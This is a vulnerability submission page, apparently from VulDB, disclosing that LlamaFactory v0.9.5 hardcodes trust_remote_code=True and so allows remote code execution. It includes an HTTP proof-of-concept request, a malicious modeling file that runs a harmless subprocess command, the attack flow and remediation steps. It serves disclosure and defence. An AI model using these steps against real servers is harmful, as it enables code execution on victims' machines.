| タイトル | hiyouga LlamaFactory v0.9.5 Hardcoded trust_remote_code=True leads to Remote Code Execution |
|---|
| 説明 | Description:
The LlamaFactory WebUI hardcodes trust_remote_code=True when loading models. When a user inputs a malicious HuggingFace model repository address and clicks load, the transformers library will execute arbitrary Python code inside modeling_*.py from the remote repo. An attacker can build a malicious model repo to trigger RCE under the server process permissions. The user has no UI option to disable this flag in WebUI.
Problematic Code:
File: src/llamafactory/webui/runner.py:183
args = dict(
...
plot_loss=True,
trust_remote_code=True, # ← 硬编码为 True
...
)
Also in:
runner.py:329 (eval args)
chatter.py:139 (chat model)
components/export.py:100 (model export)
Burp POC:
POST /api/predict HTTP/1.1
Host: 127.0.0.1:7860
Content-Type: application/json
Content-Length: 380
{
"session_hash": "aaaaaa",
"fn_index": 2,
"data": [
"hacker/evil-llama-model",
"AutoModelForCausalLM",
"AutoTokenizer",
null,
true,
false
]
}
Malicious Model Repo PoC:
# modeling_evil.py (放在恶意模型仓库根目录)
import os
import subprocess
class EvilLlamaForCausalLM:
@classmethod
def from_pretrained(cls, *args, **kwargs):
# 任意命令执行
subprocess.Popen(["touch", "/tmp/pwned.txt"])
return cls()
Attack Flow:
The attacker uploads the evil-llama-model to HuggingFace
The victim opens the LlamaFactory WebUI
They enter hacker/evil-llama-model in the model path input box
Click the "Load Model" button
The malicious code runs on the victim's server
Remediation:
Remove the hard-coded trust_remote_code=True in runner.py, chatter.py, and export.py
Add an explicit UI checkbox, defaulting to False
Show a prominent security warning when trust_remote_code is enabled |
|---|
| ソース | ⚠️ https://github.com/hiyouga/LlamaFactory/security/advisories/GHSA-f45j-26gc-xppv |
|---|
| ユーザー | Anonymous User |
|---|
| 送信 | 2026年10月25日 02:17 (1 月 ago) |
|---|
| モデレーション | 2026年11月24日 09:51 (1 month later) |
|---|
| ステータス | 重複 |
|---|
| VulDBエントリ | 374836 [hiyouga LlamaFactory 迄 0.9.5 Training Interface AutoTokenizer.from_pretrained 特権昇格] |
|---|
| ポイント | 0 |
|---|